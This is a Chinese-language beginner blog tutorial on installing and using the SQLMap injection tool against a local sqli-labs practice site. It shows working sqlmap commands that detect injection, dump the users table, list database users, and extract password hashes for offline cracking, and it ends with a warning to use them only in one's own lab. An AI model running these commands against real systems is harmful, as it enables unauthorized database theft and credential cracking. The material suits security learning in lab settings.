溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

SQLMap入門

發(fā)布時間:2020-03-03 22:08:51 來源:網(wǎng)絡(luò) 閱讀:2631 作者:JachinLi 欄目:安全技術(shù)

SQLMap入門

什么是SQLMap?

  • SQLMap是一個自動化的SQL注入工具,其主要功能是掃描,發(fā)現(xiàn)并利用給定的url的SQL注入漏洞
    內(nèi)置很多繞過插件,支持的數(shù)據(jù)庫是MySQL、Oracle、postgreSQL、MicrosftSQL server、IBM DB2等

  • SQLMap采用以下五種獨特的SQL注入技術(shù)

    1. 基于布爾值的盲注,即根據(jù)返回頁面判斷條件真假的注入
    2. 基于時間的盲注,既不能根據(jù)頁面返回的內(nèi)容判斷任何信息,要利用條件語句查看時間延遲語句是否已經(jīng)執(zhí)行來判斷
    3. 基于報錯注入,及頁面會返回錯誤信息,或者把注入的語句的結(jié)果直接返回到頁面中
    4. 聯(lián)合查詢注入,在可以使用union的情況下的注
    5. 堆查詢注入,可以同時執(zhí)行多條語句時注入
  • SQLMap的強大功能包括數(shù)據(jù)庫指紋識別,數(shù)據(jù)庫枚舉,數(shù)據(jù)庫提取,訪問目標文件夾系統(tǒng),并在獲取完全的操作權(quán)限時實行任意指令命令,SQLMap的功能十分強大,當其他注入工具不能利用SQL注入漏洞時,使用SQLMap會有意向不到的結(jié)果

SQLMap安裝

SQLMap需要python2環(huán)境的支持,暫時不支持python3
在官網(wǎng)下載SQLMap sqlmap官網(wǎng)地址
在官網(wǎng)下載Python python官網(wǎng)地址
在官網(wǎng)下載對應(yīng)系統(tǒng)的python2版本
下載完成后 檢查python環(huán)境變量是否安裝成功
關(guān)于下載安裝python的方法可以參考之前的博客

完成上述內(nèi)容后
我這里是把python和SQLMap放到了C盤下 具體情況根據(jù)實際情況來設(shè)定
把下載好的SQLMap文件夾放到Python2的文件夾中
打開CMD
先檢查pytho的環(huán)境是否安裝成功
將cmd的路徑切換到python的安裝路徑下
我這里是下載到C盤的根目錄下

cd /  切換到 c盤根目錄下
python 檢查pytho的環(huán)境 出現(xiàn)python的版本及成功
cd /python2/sqlmap/sqlmap.py  將路徑切換到sqlmap下的sqlmap.py
# 具體的路徑根據(jù)實際情況設(shè)定 不知道sqlmap.py文件在哪的話可以進入文件夾后dir查看一下,運行sqlmap.py出現(xiàn)信息及成功

SQLMap使用方法

首先我們需要確保上次搭建的sqli-labs的環(huán)境成功
確保sqli-labs能夠成功訪問 我們點擊下方的Less 1
SQLMap入門

點進去以后出現(xiàn)一個黑色的界面 顯示 SQLI DUMB SERIES-1
然后我們復(fù)制上面的網(wǎng)址
這里我的地址是 http://127.0.0.1/sqli-labs-master/Less-1/?id=1
復(fù)制完成后我們進入cmd里的sqlmap環(huán)境下
這里可以設(shè)置cmd的默認路徑 將cmd的默認路徑設(shè)置為sqlmap.py的路徑
新建一個快捷方式 輸入cmd 創(chuàng)建完成后在屬性里更改路徑即可

檢測目標網(wǎng)頁是否存在注入

進入更改完成后的cmd 提示出sqlmap的信息
這時候我們使用SQL注入語句來判斷目標網(wǎng)址是否存在注入

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1  #檢測目標網(wǎng)址是否存在注入

輸入完成后回車 顯示內(nèi)容如圖
檢測過程中出現(xiàn)輸入Y/N的地方直接回車即可
SQLMap入門

紅框圈出的前四個就是注入的類型 根據(jù)我們開頭講到的注入類型看一下都是哪些注入類型

Type: boolean-based blind    # 基于布爾值的盲注
Type: error-based    # 基于報錯注入
Type: time-based blind    # 基于時間的盲注
Type: UNION query    # 聯(lián)合查詢注入

最后一個紅框里可以看到提示的是目標使用的數(shù)據(jù)庫版本、服務(wù)器類型、php版本、Apache版本

獲取數(shù)據(jù)庫指定的字段內(nèi)容

這里我們使用SQLMap獲取security數(shù)據(jù)庫下的id password username內(nèi)容

首先需要確保運行數(shù)據(jù)庫 這里我用的是phpmyadmin
這里使用我們搭建漏洞環(huán)境時導(dǎo)入的security庫
命令如下

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,password,username --dump
# -D 指定數(shù)據(jù)庫 -T 數(shù)據(jù)庫下的表名 -C 指定所需要的列 --dump獲取所有信息

SQLMap入門

獲取數(shù)據(jù)庫中所有用戶

該命令的作用是列出數(shù)據(jù)庫的所有用戶,在當前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時,使用該命令就可以列出所有的管理用戶

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --users

SQLMap入門

獲取數(shù)據(jù)庫的密碼

該命令的作用是列出數(shù)據(jù)庫的用戶的密碼,如果當前用戶有讀取包含用戶密碼的權(quán)限,sqlmap會列出用戶,然后列出hash,并嘗試破解

sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --passwords

SQLMap入門

我們看到這里列出了 數(shù)據(jù)庫密碼的哈希值,假如說我們這里沒有破解出來,我們可以復(fù)制這個 password hash 的值
把這個值拿到破解網(wǎng)站上取嘗試破解
這里我們拿圖上的password hash 做個示范

password hash :*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

SQLMap入門

常見問題

python環(huán)境

關(guān)于python環(huán)境,如果在安裝向?qū)У臅r候選擇的Add Path 的這個選項話
后面就不需要手動添加python環(huán)境了
如果忘記勾選這個選項了我們需要在我的電腦--管理--高級設(shè)置--環(huán)境變量中手動添加python的安裝路徑來添加python環(huán)境

詳細的內(nèi)容可以參考之前的博客

SQLMap運行指令報錯

只要命令沒有敲錯的 一般是不會有什么問題的
檢查一下自己語句是否正確或者檢查sqli-labs那個網(wǎng)頁的地址是否跟實際輸入的一樣

總結(jié)

請使用自己搭建的漏洞環(huán)境,切勿用于非法的用途,僅供學(xué)習(xí)
初學(xué)SQL注入,如果有寫的不周到的地方可以還請見諒
上次的搭建的漏洞環(huán)境和SQLMap一定要注意自己輸入的路徑是否正確

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI